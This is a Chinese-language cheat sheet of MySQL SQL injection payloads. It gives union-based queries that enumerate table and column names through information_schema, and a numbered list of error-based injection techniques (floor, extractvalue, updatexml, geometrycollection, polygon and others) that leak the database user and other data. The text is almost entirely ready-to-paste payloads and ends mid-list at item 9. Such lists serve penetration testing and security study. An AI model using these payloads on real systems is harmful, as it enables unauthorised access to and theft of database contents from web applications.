MYSQL
基礎注入
聯合查詢
-
若前面的查詢結果不為空，則回傳兩次查詢的值：
-
若前面的查詢結果為空，則只回傳union查詢的值：
-
關鍵字
union select -
需要欄位數對應
常用Payload：
?
# 查詢表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查詢欄位名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
報錯注入
報錯注入是利用mysql在出錯的時候會引出查詢資訊的特征，常用的報錯手段有如下10種：
# 修改select user() 欄位 獲取不同的資訊
?
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
?
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
?
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
?
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
?
# 5.multipoint()
?
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
?
6.polygon()
?
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
?
7.multipolygon()
?
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
?
8.linestring()
?
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
?
9.multilinestring